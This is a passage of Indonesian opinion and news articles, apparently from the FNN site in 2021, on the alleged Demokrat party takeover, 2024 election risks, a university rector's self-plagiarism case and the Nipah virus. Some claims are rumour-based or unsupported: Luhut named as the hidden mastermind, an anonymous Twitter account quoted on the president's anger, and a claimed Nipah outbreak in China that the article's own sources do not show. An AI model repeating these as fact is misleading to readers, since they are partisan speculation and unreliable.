By Suhardi Suryadi Jakarta, FNN - Press release yang dilakukan Ketua Umum Partai Demokrat, 1 Februari 2021 terkait dengan kudeta pimpinan partai telah menyita perhatian masyarakat. Pasalnya selain melibatkan 4 orang yang pernah sebagai elite partai, maka yang menarik adalah dugaan keterlibatan Moeldoko (Kepala Staf Presiden) dalam peristiwa ini. Keikutsertaan pejabat tinggi di lingkungan terdekat dari presiden setidaknya membuat publik berspekulasi bahwa presiden telah menyetujui. Sehingga situasi ini dapat membuat para pengamat luar negeri (Indonesianis) berkesimpulan bahwa presiden Jokowi telah mengembalikan otoritarianisme. Rezim otoritarianisme di Indonesia pada dasarnya telah hilang pada tahun 1998 seiring runtuhnya Orde Baru oleh gelombang tuntutan reformasi kala itu. Dan sejak itu, banyak dilakukan perubahan bidang sosial politik untuk memperbaiki kebijakan yang disebabkan oleh pemerintah. Di antaranya adalah terkait penghapusan dwifungsi militer, pemilihan presiden hingga kepala daerah, kedudukan MPR, serta hak dan kewajiban presiden. Karenanya, upaya untuk mengembalikan kekuasaan yang berlebihan di tangan pemerintah banyak mendapat gugatan dan perlawanan dari masyarakat sipil. Etika dalam Politik Salah satu masalah dalam perilaku elite politik seiring dengan reformasi adalah terkait dengan etika. Dimana bukan hanya suatu keharusan dalam perilaku politik, namun etika diperlukan untuk berbagai bentuk aktivitas kehidupan keseharian. Menjujung etika dalam politik sangat dibutuhkan oleh elite negara karena berkaitan dengan masalah moral kekuasaan yang ditimbulkan. Etika politik pada dasarnya tidak mengizinkan para pemimpin untuk melakukan hal-hal yang salah dalam kehidupan pribadi, tetapi yang lebih penting lagi adalah mengharuskan para elite politik untuk memenuhi standar yang lebih tinggi daripada yang diperlukan dalam keseharian. Misalnya, hak privasi yang lebih kecil dibanding warga negara biasa, dan tidak memiliki hak menggunakan kantor untuk keuntungan dan kepentingan pribadi. Di Amerika Serikat, etika dalam politik senantiasa menjadi dasar atau acuan bagi setiap orang yang dipilih menduduki jabatan publik. Menurut Rich Robinson (Direktur California Utara Bagi Calon Presiden Partai Demokrat), ada 3 hal yang membuat masyarakat marah jika seorang pemimpin melanggarnya yaitu ; Pertama, Kampanye tidak jujur merupakan cerminan etika politik yang melekat. Sekalipun di USA tidak diatur tentang kejujuran kampanye, atau apa yang dianggap pantas atau tidak pantas. Namun kampanye negatif tidak selalu merupakan sesuatu yang buruk, jika tuduhan terhadap kandidat itu benar. Kedua, inkonsistensi dan standart ganda dalam bertindak. Sikap dan tindakan seorang politisi dituntut untuk jujur dan tidak semata menguntungkan diri dan partainya. Dalam kasus skandal seks yang menimpa senator Republik Bob Packwood, banyak anggota dari Demokrat dengan cepat menyerukan pengunduran diri Packwood. Namun ketika kasus yang sama menimpa Bill Clinton, maka anggota partai Demokrat pada diam. Dengan demikian, seorang politisi apalagi presiden dituntut untuk jujur, betapapun kasus yang terjadi merugikan kepentingan partainya. Ketiga, peran uang dalam kampanye. Berlawanan dengan pemikiran populer, uang tidak menentukan hasil pemilu, terutama di tingkat nasional. Namun pada sisi lain, uang ternyata dapat memainkan peran - bagaimanapun dalam pemilihan – para calon untuk terus mengubah aturan tentang besaran kontribusi, pengeluaran, dan waktu pelaporan. Sehingga membuat hampir semua politisi kelihatan tampak tidak etis ketika sedang merealisasikan dan melaporkan Ini berarti, etika politik yang erat kaitannya dengan sikap, nilai, maupun moral serta sangat fundamental harus dimiliki setiap orang terutama yang menduduki posisi penting dalam struktur kekuasaan. Sementara yang ironis dalam realitas kehidupan perpolitikan dewasa ini, justru banyak dari para elit politik yang tidak beretika dalam sikap atau perilaku politiknya. Terutama terkait dengan perilaku kekuasaan yang korup. Terlebih lagi, kekuasaan yang cenderung otoriter, maka prakteknya cenderung longgar, mudah diabaikan tanpa malu dan bersalah. Praktek kekuasaan yang tidak peduli terhadap penyalahgunaan wewenang, korupsi dan lainnya karena dijalankan dengan pengabaian alam kompetisi untuk meraih jabatan (kekuasaan) dan akses ekonomis (uang) yang begitu kuat, serta tiadanya rasa malu dan merasa bersalah Sehingga tanpa disadari, kekuasaan korup yang berlangsung telah membawa etika politik bangsa Indonesia yang cenderung mengarah pada kompetisi dengan mengabaikan moral. Ini terbukti dari kasus-kasus perebutan jabatan politik dengan menggunakan uang sebagai jalan keluar (keputusan). Nyaris semua jabatan yang ada memiliki harga yang harus dibayar oleh pejabat atau orang yang akan menduduki. Jabatan atau kekuasaan menuju ke arah “jual-beli” menggunakan uang maupun sesuatu yang bisa dihargai dengan uang. Tanpa mengindahkan kaidah etika dalam berpolitik, maka tidaklah heran jika Indonesia hanya akan dikuasai oleh orang-orang yang miskin secara moral dan perilaku politiknya cenderung abai terhadap nasib rakyat. Jadi ingat seperti pepatah Jawa Ngono Yo Ngono, Tapi Ojo Ngono. Penulis adalah Peneliti LP3ES

Kudeta Demokrat, Ada Luhut di Belakang Moeldoko?

by Mochamad Toha Surabaya FNN - Pertempuran jelang Pilpres 2024 mulai menghangat. Sejumlah tokoh nasional mulai ancang-ancang untuk menjadi kontestan dalam pergelaran 5 tahunan tersebut. Setelah ramai “kampanye” Erick Tohir, Menteri BUMN, melalui sejumlah media luar, ruang terpasang di sejumlah daerah di Indonesia, terkini kabarnya Moeldoko juga menyusul bakal ikut kontestasi Pilpres 2024. Yang dilakukannya tidak main-main. Moeldoko dituding telah siapkan “kudeta” menjungkalkan Agus Harymurti Yudhoyono (AHY) dari kursi Ketum Partai Demokrat. Dengan kata lain, Demokrat dilirik Moeldoko menjadi “kendaraannya” untuk maju Pilpres 2024. Meski Partai Demokrat hanya mengantungi suara lebih-kurang 8 persen pada Pemilu 2019 lalu, Demokrat yang kini menjadi “oposisi tanggung itu”, dipandang berpotensi mengirim capres pada Pilpres 2024. Selain dua nama tokoh nasional di atas, nama Anies Baswedan, Sri Mulyani, Ganjar Pranowo, Ridwan Kamil, Khofifah Indar Parawansa, AHY, dan bahkan nama Mensos Tri Rismaharini, muncul juga di tengah masyarakat sebagai kandidat capres dan cawapres terkini. Di belakang mereka, masih ada nama Capres dan Cawapres 2019 Prabowo Subianto dan Sandiaga Salahuddin Uno. Harus diakui, meski gelaran Pilpres 2024 masih berselang lebih-kurang 3 tahun lagi, situasi politik mulai memanas. “Konflik” Demokrat dengan Moeldoko diyakini akan semakin panas. Mungkin saja akan berimbas ke parpol-parpol lain. Jika para gajah sudah mulai bertarung seperti sekarang, siapa yang akan menjadi korban? Apakah pertarungan para gajah tersebut akan menguntungkan atau demi kepentingan rakyat? Hanya sang waktu yang bisa memberikan jawaban! Terungkapnya “rencana kudeta” Moeldoko, Kepala Staf Presiden (KSP), itu disampaikan AHY sendiri dalam jumpa pers sebelumnya. AHY memang tak menyebutkan nama, karena mengedepankan asas praduga tak bersalah, dan menunggu proses konfirmasi. Pasca konferensi pers AHY, berkembang spekulasi, siapa sosok pejabat pemerintahan yang dimaksud AHY ini. Selasa malam (2/2/2021), KSP Moeldoko sendiri memberikan penjelasan langsung yang bisa disaksikan oleh rakyat. “Respon beliau sudah terprediksi. Nervous, gugup, dilihat dari gerakan tangan dan beberapa kali KSP Moeldoko menyebut gua gue gue,” ungkap Kepala Badan Komunikasi DPP Partai Demokrat Herzaky Mahendra Putra. Moeldoko menganggap dirinya dikaitkan dalam gerakan ini, karena berdasarkan foto-foto belaka. Padahal, faktanya tidak demikian. “Untuk itu, atas nama Partai Demokrat, saya perlu memberikan tanggapan atas pernyataan KSP Moeldoko,” lanjutnya. Pertama, pertemuan antara KSP Moeldoko dan beberapa kader Demokrat, tidak dilakukan di rumah, melainkan di luar rumah. Kedua, kedatangan kader Demokrat dari daerah ke Jakarta, itu dilakukan secara terstruktur dan sistematis oleh pelaku gerakan. Menurut Herzaky, ada yang mengundang, membiayai tiket pesawat, menjemput di bandara, membiayai penginapan, termasuk konsumsi. Ketiga, Jika Moeldoko mengatakan konteks pembicaraan nggak dimengerti, sungguh sulit dipahami.” Berdasarkan keterangan yang dimiliki Demokrat, pembahasan utama yang disampaikan pelaku gerakan dalam pertemuan itu adalah rencana mengusung KSP Moeldoko sebagai calon Presiden 2024. “Untuk memuluskan rencana tersebut, para pelaku gerakan mempersiapkan pengambilalihan kepemimpinan Partai Demokrat, melalui proses Kongres Luar Biasa (KLB),” lanjut Herzaky Mahendra. Keempat, proses pengiriman surat Ketum Demokrat AHY kepada Presiden Joko Widodo merupakan buah dari komitmen dan kesepakatan antara kedua belah pihak, untuk saling menjaga hubungan baik dan komunikasi yang lancar. Komitmen tersebut dilakukan juga untuk menghentikan tindakan orang-orang yang gemar mencatut dan mengatasnamakan Presiden, maupun nama Ketum Partai Demokrat, dengan tujuan yang tidak baik dan mengadu domba. Mereka, kata Herzaky, berencana menjemput KSP Moeldoko sebagaimana menjemput SBY pada 2004 sebagai calon presiden. Lalu ada pelaku gerakan bernama Yus Sudarso menyatakan, “apa salahnya kami melakukan ini? Salahnya adalah upaya pengambilalihan kepemimpinan Partai Demokrat yang sah melalui Kongres Luar Biasa,” tegas Herzaky Mahendra. Dulu, hal itu tidak ada. Bapak SBY duduk sebagai Dewan Pembina,” lanjutnya. Jadi, kalau KSP Moeldoko mau menjadi Capres melalui Partai Demokrat, ya bikin KTA dulu sebagai kader Partai Demokrat. Jangan tiba-tiba ingin menjadi Ketua Umum, apalagi melalui KLB. Itu saja sudah salah besar. Itu jelas inkonstitusional. Pak Moeldoko itu siapa? Pak Moeldoko itu KSP, stafnya Presiden. Tugasnya sekarang membantu Presiden menyelesaikan pandemi dan krisis ekonomi. “Kasihan rakyat, lagi pandemi kok malah memikirkan pencapresan. Kasihan Presiden yang membutuhkan bantuan untuk menangani krisis pandemi dan ekonomi,” ujarnya. Sebut Luhut Dalam tulisan sebelumnya, saya menulis, sebagai mantan pamen berpangkat Mayor yang juga anak presiden, AHY pasti sudah tahu siapa “dalang kudeta” yang dimaksud itu. Tak mungkin seorang Moeldoko bisa “bermain” sendiri tanpa dukungan “Jenderal Pebisnis”. Ini adalah kontestasi untuk meraup semua parpol di bawah kendali Jenderal Pebisnis tadi. Dia seser dulu parpol-parpol yang kecil-kecil, sambil ambil-alih PDIP dan Golkar. Demokrat dia incar karena sudah lemah betul di bawah kendali AHY. Cuma Gerindra saja nanti yang “setengah dilepas” sang Jenderal Pebisnis tadi. Ketika semua parpol di Indonesia sudah di bawah kendalinya, dia bebas menentukan siapa “RI-1 dan RI-2” pilihannya. Jadi, kalau dikecilkan skupnya hanya soal menjegal Anies Baswedan, bukan tipenya sang Jenderal Pebisnis itu. Yang “main” sekarang itu ya dia ini. Kalau cuma playing victim dan skenario SBY ya kurang cantik mainnya. Padahal ini bukan permainan SBY. Kalau ini permainan SBY, rasanya terlalu kasar dan arogan. Saya yakin, SBY mainnya akan lebih cantik. Siapa Jenderal Pebisnis yang saya sebut dalam tulisan sebelumnya itu? Sekarang mulai terbuka. Sebelumnya, Moeldoko menyebut nama Menko Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan. Moeldoko mengatakan bahwa Luhut juga pernah bertemu dengan sejumlah kader Demokrat, sama seperti dirinya. Menanggapi hal itu, filsuf politik Rocky Gerung memaparkan, terdapat dua kemungkinan yang terjadi. “Ya dua soal sebetulnya. Ingin nyari patron supaya bebannya enggak terlalu berat, maka sebagian dilimpahkan kepada Pak Luhut,” katanya di kanal YouTube Roger Official seperti dikutip Pikiranrakyat-Depok.com pada Kamis, 4 Februari 2021. Akan tetapi Roger tidak melihat Luhut melibatkan diri di dalam proyek kudeta Partai Demokrat. “Mungkin Pak Luhut punya pengetahuan tentang apa yang terjadi di internal Partai Demokrat,” ujar dia Tetapi ini, AHY langsung bikin konferensi pers. Artinya, ada skala persoalan yang luar biasa besar itu,” lanjut Roger yang akademisi itu. Roger memperkirakan saat ini sangat mungkin 10 persen kader Partai Demokrat di tingkat DPC sudah dapat sejumlah uang. Jadi, mungkin problem-problem itu yang dikhawatirkan oleh Partai Demokrat, karena itu dibeberkan. Menuru Roger, Moeldoko berupaya untuk mencari pelindung. Tetapi bahwa hal kurang tepat. “Itu peristiwa yang lain dengan maksud yang lain. Karena itu jangan terlalu banyak cari alibi, Pak Moeldoko. Nanti kejebak. Sementara Luhut itu dijadikan jembatan untuk memberi tahu pada Presiden Joko Widodo bahwa tidak sedang terjadi apa-apa. Tidak hanya Moeldoko. Konon, Luhut juga pernah didatangi mantan Bendahara DPP Partai Demokrat Muhammad Nazaruddin, yang sama-sama ingin Kudeta Demokrat. Presiden Jokowi sendiri, kabarnya, ngamuk setelah baca surat AHY yang dikirimkan kepadanya. Ia memanggil “Kakak Pembina”. Jokowi marah habis-habisan. “Segera beresin semua kalau nggak mau dicopot”, begitu kata Jokowi saking marahnya, mengutip akun Twitter@DalamIstana. “Kakak Pembina” yang dimaksud selama ini tidak lain adalah KSP Moeldoko. Apakah ini sinyal bahwa istana pecah? Penulis adalah Wartawan Senior FNN.co.id.

Pemilu Serentak 2024, Berapa Lagi Mau Terbunuh?

by M. Rizal Fadillah Jakarta FNN - Pertanyaan aneh tetapi rasional berdasarkan pengalaman empirik. Pemilu 2019 telah tewas lebih dari 800-an petugas secara misterius tanpa penyelidikan seksama. Ditambah saat aksi unjuk rasa 21-22 Mei. Saat itu Pemilu digabung antara Pemilihan Legislatif (Pileg)dan Pemilihan Presiden (Pilpres) dalam satu hari. Nah kini ada beberapa partai politik bersikukuh dan ngotot untuk menyelenggarakan Pemilu serentak. Bukan saja Pileg dengan Pilpres yang disatukan. Tetapi juga bersama dengan Pilkada 34 Provinsi dan 416 Kabupeten serta 98 Kota. Jadi, total Pilkada pada 2024 nanti ada 558 daerah. Terbayang bagaimana tingkat kesulitan dan "kelelahan" yang bakal dialami para penyelenggara. Belum lagi soal kecurangan. Waktu 2019 lalu, rakyat perhatian tersedot ke Pemilu Pilpres sehingga perhatian dan pengawasan pada Pileg menjadi kurang. Bahkan boleh dibilang tidak ada yang peduli dengan Pilkada. Sehingga abai terhadap kecurangan yang mungkin saja masif pada Pileg. Bukan rahasia lagi jika money politics marak terjadi pada setiap pelaksanaan Pileg. Karena hampir semua pasang mata masyarakat tertutup oleh magnet kompetisi dua sampai tiga pasang kontestan Pilpres. Tidak dapat dipungkiri bahwa Pilpres selalu saja yang paling menarik perhatian masyarakat. Kenyataan ini membuat ruang kecuarangan para Pelig dan Pilkada menjadi sangat masif. Partai Politik memang pragmatis dan "koor" dengan suara mayoritas setelah Presiden sebagai dirijen melalui Kepala Staf Kantor Presidenan (KSP) Moeldoko memberi arah kecenderungan kepada Pilkada 2024. Tak peduli dengan garuk-garuk Ketua Komisi Pemilihan Umum (KPU) yang bingung dan bersiap-siap dengan risiko yang lebih parah dari Pemilu tahun 2019. Ketua KPU pasti sudah mulai memperkirakan berapa banyak jumlah anak buahnya yang menjadi Kalompok Penyelenggara Pemungutan Suara (KPPS) meninggal karena kelelahan. Petugas yang terbunuh oleh "kelelahan" kelak mungkin lebih banyak lagi. Lalu siapa yang harus tanggung jawab? Apakah bakal didiamkan begitu saja, seperti yang terjadi pada Pemilu 2019 lalu. Karenanya DPR RI dalam memutuskan bahwa Pilkada serentak harus tetap dilaksanakan tahun 2024, sebaiknya perlu memperhatikan hal-hal sebagai berikut. Pertama, evaluasi total penyelenggaraan Pemilu gabungan Pileg dan Pilpres tahun 2019, dan harus ada model pelaksanaan penyelenggaraan yang baru agar lebih terjamin keamanan khususnya para petugas. Kedua, penyelidikan ulang kasus terbunuh akibat "kelelahan". Meninggalnya para petugas Pemilu karena peristiwa '"pelanggaran HAM" ini dinilai janggal. Baru terjadi dalam sejarah Pemilu di negara Republik Indonesia. Belum pernah terjada pada pemuli-pemuli sebelumnya. Anehnya, pemerintah dan KPU tidak melakukan penyelidikan khusus. Ketiga, baik KPK, Pemilu Watch, serta aparat lebih seksama mempersiapkan pengawasan Pemilu serentak "aneh" dan "dipaksakan" tahun 2024 tersebut. Karena politik uang, kecurangan, serta "virus sabotase” sangat mungkin terjadi di tengah kebingungan KPU dan penyelenggara Pemilu Daerah. Konsekwensinya pengawasan tidak boleh diperlonggar. Perlu penegasan pula bahwa Pileg, Pilpres, dan Pilkada yang dilakukan serentak tahun 2024 sebenarnya bukanlah pelaksanaan dari asas demokrasi (kedaulatan rakyat). Melainkan kondisi ini sebagai sebuah praktek dari mobokrasi (kedaulatan gerombolan). Bagaimana tidak, pemaksaan kehendak politik (political violence) lebih dikedepankan daripada kebijakan politik (political wisdom). Partai Politik berjuang melalui upaya politik dengan "memakan" kelompok politik yang lemah. Bila perlu dengan cara-cara pengeroyokan sekalipun. Merujuk pada Pemilu 2019 yang lalu, wajar bila timbul pertanyaan serius yang muncul dalam benak masyarakat, apakah Pemilu 2024 akan berjalan dengan jujur, adil, dan aman? Berapa banyak lagi anggota KPPS dan Pengawasan yang akan terbunuh akibat kelelahan? Sekibat partai-partai politik yang hanya memikirkan kepentingan partainya sendiri ? Paradigma politik kontemporer yang sama sekali tidak berorientasi kepada kepentingan rakyat! Penulis adalah Pemerhati Politik dan Kebangsaan.

USU Pasca-Pelantikan Rektor Muryanto Amin (Bagian 1)

by Prof. Dr. OK Saidin SH. M.Hum Medan, FNN - Pada 28 Januari 2021, Dr Muryanto Amin SSos MSi resmi dilantik oleh Ketua Majelis Wali Amanat (MWA) Universitas Sumatera Utara (USU) menjadi Rektor periode 2021-2026, melalui sidang secara Virtual. Pelantikan berlangsung di aula Kemendikbud di Jakarta secara daring dan luring, diiringi dengan pembacaan Surat Keputusan MWA, pengambilan sumpah jabatan dan pengalungan tanda jabatan yang dilakukan oleh Nizam (Dirjen Pendidikan Tinggi) mewakili Mentdikbud. Beberapa minggu sebelum pelantikan, menyeruak isu pelanggaran etik yang dilakukan oleh rektor Periode 2021-2026. Banyak pandangan dan pendapat yang bergulir. Saya sendiri “puasa bicara” baik di media cetak maupun di media on line. Alasannya, karena saya sendiri adalalah salah seorang anggota yang duduk di Komite Etik (KE) USU, yang memeriksa kasus ini. Saya tak mau bicara. Khawatir saya menjadi tidak obyektif. Dan kalau saya memberikan pendapat, pandangan saya bisa bias dan mempengaruhi anggota KE yang lain dalam mengambil keputusan. Hari ini, setelah pelantikan usai, apalagi setelah terbit Keputusan Mendikbud No. 6169/MPK.A/KP/2021 tentang Pencabutan Keputusan Rektor USU No. 82/UN5.1.2/SK/KPM/2021, saya terpanggil juga untuk bersuara. Alasannya, karena saya merasa terusik dengan Surat Keputusan Menteri itu. Saya adalah orang yang ikut bertanggung jawab dunia dan akhirat atas keputusan KE yang menjadi dasar Rektor menerbitkan keputusannya. Saya mengambil porsi untuk bicara dalam kapasitas saya sebagai guru besar Ilmu Hukum USU yang mendalami kajian Hak Kekayaan Intelektual (Intellectual Property Rights) di samping posisi saya sebagai Ketua Komisi Kelembagaan Akademik, Perencanaan dan Anggaran Senat Akademik USU (Periode Tahun 2020-2025) dan sebagai Anggota KE yang memeriksa kasus dugaan plagiarisme Dr Muryanto Amin, SSos. Banyak sudah pandangan yang bergulir seputar isu plagiarisme yang dialamatkan kepada Dr Muryanto Amin, SSos MSi. Sebagian menyatakan tidak ada pelanggaran hukum dalam kasus itu, seperti yang dikemukakan oleh Direktur Jenderal Pendidikan Tinggi Kementerian Pendidikan dan Kebudayaan, Prof Nizam. Walaupun beliau mengakui adanya plagiasi atas karya sendiri dan melakukan penerbitan ulang (www,tribunenews-com, 28/1/2021). Alasan yang dikemukakan oleh Dirjen Prof Nizam adalah karena term (istilah) tentang self-plagiarism (plagiasi diri sendiri atau swaplagiasi) tak dikenal dalam Permendiknas No. 17/2010 tentang Pencegahan dan Penanggulangan Plagiat di Perguruan Tinggi. Yang ada adalah term plagiat, yakni mengambil karya orang lain yang diakui sebagai karyanya dengan tidak menyebutkan sumber secara memadai. Dirjen Dikti sendiri menyampaikan pandangannya setelah meminta Tim Independen dari UGM, UNDIP dan UNNES yang dibentuknya. Tetapi, hasil penelusuran Tim Independen itu tak pernah disampaikan kepada MWA hingga saat pelantikan. Pandangan yang sama dikemukanan oleh Prof Dr Bismar Nasution, SH MH. (www.rmolsumut-id) dan juga Prof Dr Tan Kamello, SH MS (m.mediaindonesia-com). Dua guru besar USU ini mengatakan tak ada hukum positif yang dilanggar. Pandangan lain masih dari kalangan guru besar USU, yakni Prof Dr Alvi Syahrin, SH MS yang mengatakan bahwa SK penjatuhan sanksi oleh Rektor USU tak cukup beralasan. Sebab, terdapat kesalahan prosedural dan administratif. Beliau juga mengatakan pembentukan Tim Penelusuran Melanggar Statuta USU (Tribun Medan-com, 21-01-2021). Ragam pendapat itu tentu harus kita hormati, semua punya argumentasinya sendiri-sendiri. Bahwa pelanggaran hukum berbeda dengan pelanggaran etik, semua kita sepakat. Begitu juga adab, moral, akhlak, kepatutan, kebiasaan adalah sumber etik; semua ahli hukum sepakat. Akan tetapi kalau mau dijadikan sebagai peraturan yang mengikat, etik itu harus dituangkan dalam bentuk norma ertik. Di sinilah perdebatannya. Karena ada ahli yang berpedapat etika dan moral tak perlu harus tertulis. Misalnya, larangan buang angin di meja makan tak perlu dituliskan, walaupun kalau ada orang buang angin saat sedang makan tak ada sanksi hukumnya. Pelanggaran Etik. Hukum dan Etik adalah dua hal ang berbeda. Kalau pelanggaran hukum terhadap pelaku plagiat akan diancam melalui UU No. 28 Tahun 2014 tentang Hak Cipta sebagai tindak pidana, sedangkan pelanggaran etik akan dijatuhi sanksi etik. Perbedaan dalam menafsirkan norma itu juga yang membuat pihak Kementerian hanya memandang perbuatan plagiat melalui tafsir Pasal 1 Permendiknas No. 17/2010 tentang pencegahan plagiat di Perguruan Tinggi. Walaupun Pasal 2 mengatakan bahwa lingkup dan pelaku palgiat itu tidak dibatasi secara limitatif. Lengkapnya, redaksi Pasal 2 ayat (1) itu diawali dari kata-kata, "Plagiat meliputi tetapi tidak terbatas pada: a,b,c,d dan e". Artinya ada pelaku dan lingkup yang masuk dalam kategori perbuatan plagiat yang lain, yang dimaksud oleh Permendiknas No. 17/2010 itu. Peluang untuk adanya bentuk plagiasi yang lain selain yang dimaksud dalam Pasal 1 angka (1) dibuka oleh Pasal 2 ayat (1). Pernyataan terakhir ini pun menimbulkan perdebatan lagi. Karena Pasal 2 ayat (1) itu harus pula dibaca dalam konteks pasal 1 angka (1). Kalaupun ada perbuatan plagiat di luar apa yang dinyatakan oleh Pasal 2 ayat (1) harus juga dimaksudkan mengambil karya orang lain yang diakui sebagai karya ilmiahnya. Di sinilah ranah perdebatannya. Terasalah bahwa memaknai norma hukum sesui dengan maksud pembuatnya tidaklah mudah. Itulah sebabnya membaca norma hukum itu harus disertai dengan penjelasannya dan bahkan memory van toelichting-nya. Kalau dalam hukum Islam harus dilihat ‘asbabun nuzul’-nya. Kasus self-plagiarism , double publication, salami publication atau publikasi ganda tidaklah terang benderang diatur dalam dalam Permendiknas 17/2010 dan bukan pula masuk dalam kualifikasi pelanggaran hukum. Akan tetapi, walaupun perbuatan self-plagiarism, double publication, salami publication atau publikasi ganda tida ada diatur dalam Permendiknas ini, norma tentang itu dapat ditemukan dalam praktek sehari-hari sebagai kebiasaan dan diterima sebagai etika dalam publikasi ilmiah. Bahkan telah dinormakan dalam Peraturan Kepala LIPI No. 5 Tahun 2014 tentang Kode Etika Publikasi Ilmiah, tanggal 18 September 2014, yang dimuat dalam Berita Negara Republik Indonesia Tahun 2014 No. 1385. Oleh karena itu semua kita yang berkecimpung di dunia akademik, khususnya dosen dan mahasiswa, harus memahami bahwa Permendiknas 17/2010 itu menyangkut tentang norma dan etika penulisan. Sedangkan Perkep LIPI No. 5/2014 itu menyangkut norma dan etika publikasi. Ini adalah dua hal yang berbeda. Inilah yang hendaknya harus dipahami secara bersama. Keduanya mengatur tentang etika ilmiah akademik. Yang satunya tentang etika penulisan, yang satu lagi tentang etika publikasi. Dalam kasus Dr Muryanto Amin SSos MSi, sekalipun tak dapat disebut pelanggaran etika penulisan yang diatur Permendiknas 17/2010, tetapi perbuatan itu termasuk pelanggaran etika publikasi yang ditaur Perkep LIPI 5/2014. Seharusnya tidak ada perdebatan di sini. Tetapi mengapa persoalannya menjadi menyeruak? Itu karena tidak semua kita bisa melihat dan mendudukkan persoalan ini secara jernih. Banyak di antara kita justeru berupaya untuk mencari "pembenaran" padahal yang dituntut dalam dunia akademik adalah "kebenaran". Ada aturan yang membatasi pengarang atau penulis dalam menulis, dan ada pula batasan yang diberikan kepada pengarang dalam hal mempublikasikan karya ciptanya. Etika untuk tidak melakukan perbuatan self-plagiarism, double publication, salami publication kemudian di terima oleh seluruh pengelola jurnal sebagai etika publikasi. Yang tidak hanya diikuti oleh pengelola jurnal di USU sendiri, tetapi juga seluruh perguruan tiunggi di Indonesia. Bahkan pihak kementerianpun menolak setiap usulan kenaikan pangkat para dosen yang dalam pengusulannya menggunakan artikel publikasi ganda atau double publication atau salami publication yang termasuk pada kategori self-plagiarism. Penolakan oleh Kementerrian itu bukan karena melanggar etika penulisan ilmiah, tetapi melanggar etika publikasi ilmiah. [Bersambung] Penulis adalah Guru Besar Hukum USU, Ketua Asosiasi Pengajar Hukum Hak Kekayaan Intelektuyal Indonesia (Periode Tahun 2017-2020 dan 2020-2023) dan Ketua Komisi Kelembagaan Akademik, Perencanaan dan Anggaran Senat Akademik Universitas Sumatera Utara (Periode Tahun 2020-2025).

Ancaman Virus Nipah China, Bisa Lebih Dahsyat dari Covid-19

by Mochamad Toha Surabaya, FNN - Belum tuntas atasi Virus Corona atau Covid-19, China mulai dilanda Virus Nipah dengan tingkat kematian sekitar 75 persen bisa menjadi pandemi selanjutnya. Demikian laporan Access to Medicine Foundation dilansir dari Al Arabiya, Minggu (31/1/2021). Melansir Kompas.com, Minggu (31/01/2021, 07:27 WIB), wabah virus nipah ini berpotensi menjadi pandemi besar dengan perusahaan farmasi raksasa tidak siap karena saat ini masih fokus menangani Covid-19. “Virus Nipah adalah penyakit menular lain yang muncul dan menimbulkan kekhawatiran besar. Nipah (ini) bisa merebak kapan saja. Pandemi berikutnya bisa menjadi infeksi yang tahan terhadap obat,” ungkap The Guardian mengutip Jayasree K Iyer, Direktur Eksekutif Access to Medicine Foundation yang berbasis di Belanda. Virus ini langka dan disebarkan oleh kelelawar buah, yang dapat menyebabkan gejala mirip flu dan kerusakan otak. Virus nipah bisa menyebabkan ensefalitis atau radang otak, menurut Organisasi Kesehatan Dunia (WHO). Perawatan yang biasa dilakukan adalah perawatan suportif yang mencegah penyakit sedini mungin berkembang. Wabah virus nipah di negara bagian selatan India, Kerala pada 2018 silam merenggut 17 nyawa. Negara-negara seperti Arab Saudi dan Uni Emirat Arab saat itu melarang impor buah dan sayuran beku juga olahan dari Kerala. Ketika itu, para otoritas kesehatan meyakini bahwa wabah nipah di Bangladesh dan India mungkin terkait dengan konsumsi jus kurma. Tak hanya tentang virus nipah saja yang dirilis, laporan indeks 2021 dari Access to Medicine juga menunjukkan tindakan dari 20 perusahaan farmasi terkemuka di dunia untuk membuat obat, vaksin, dan diagnostik lebih mudah diakses. Ditemukan bahwa penelitian dan pengembangan untuk Covid-19 telah meningkat dalam setahun terakhir, tetapi risiko pandemi lainnya sejauh ini belum tertangani. Menurut Iyer, indeks tersebut disiapkan selama krisis kesehatan masyarakat terburuk dalam satu abad yang menunjukkan ketidaksetaraan parah akan akses ke obat-obatan yang belum pernah terjadi sebelumnya. Menurutnya, obat-obatan bisa dicapai semua kalangan jika para pemimpin perusahaan besar bertekad untuk memastikan bahwa orang yang tinggal di negara miskin dan menengah tidak berada di paling akhir. Kementerian Kesehatan (Kemenkes) RI sendiri telah mengimbau kepada para pihak terkait untuk mewaspadai adanya potensi penyebaran virus nipah di Indonesia. “Indonesia harus selalu waspada terhadap potensi penularan virus nipah dari ternak babi di Malaysia melalui kelelawar pemakan buah,” ujar Direktur Pencegahan dan Pengendalian Penyakit Tular Vektor dan Zoonotik Kemenkes dikutip dari Antara, Rabu (27/1/2021). Virus Nipah adalah virus yang ditemukan di kawasan Asia. Ia ditemukan oleh pemburu virus asal Thailand, Supaporn Wacharapluesadee. Mengutip BBC (12/1/2021), Wacharapluesadee adalah peneliti di Chulalongkorn University, Bangkok. Ia telah mengambil ribuan sampel kelelawar dan mendeteksi banyak jenis virus. Diantaranya jenis virus corona yang banyak ia temukan, ada jenis virus lain yang berhasil ia dapatkan, itu adalah virus nipah yang dapat menular kepada manusia dan belum ada vaksinnya. Sejauh ini virus nipah belum pernah dilaporkan ada di Indonesia. Meskipun pada 1999 wabah virus nipah pernah merebak di Malaysia. Virus nipah ketika itu menyebar di Semenanjung Malaysia pada ternak babi dan manusia. Didik mengatakan, Indonesia harus selalu waspada penyebaran virus dari babi di Malaysia melalui kelelawar pemakan buah. Hal ini karena dari sejumlah penelitian kelelawar buah bergerak teratur dari Semenanjung Malaysia ke Sumatera Utara. “Sehingga ada kemungkinan penyebaran virus nipah melalui kelelawar atau perdagangan babi yang ilegal dari Malaysia ke Indonesia, “ kata Didik. Ia mengatakan pemerintah telah melakukan pengetatan ekspor dan impor komoditas babi antara Indonesia dan Malaysia. “Menurut Kedutaan Besar Indonesia di Malaysia, pemerintah Indonesia hanya menerima kiriman yang disertai dengan sertifikat kesehatan dan dikeluarkan oleh Departemen Layanan Hewan Malaysia untuk menyatakan bahwa babi yang diekspor sehat," kata dia. Mengutip Kompas.com, Selasa (26/1/2021) virus nipah oleh WHO dimasukkan dalam daftar panjang patogen yang dapat menyebabkan darurat kesehatan masyarakat. Virus nipah adalah salah satu virus yang belum tersedia/ada vaksinnya. Ada sejumlah alasan yang membuat virus nipah begitu mengancam, yakni: Periode inkubasi yang lama dilaporkan setiap kasus perlu waktu hingga 45 hari, sehingga ada kesempatan bagi inang yang terinfeksi, tidak menyadari bahwa mereka sakit sehingga bisa menyebarkan. Dapat menginfeksi banyak jenis hewan yang makin menambah kemungkinan 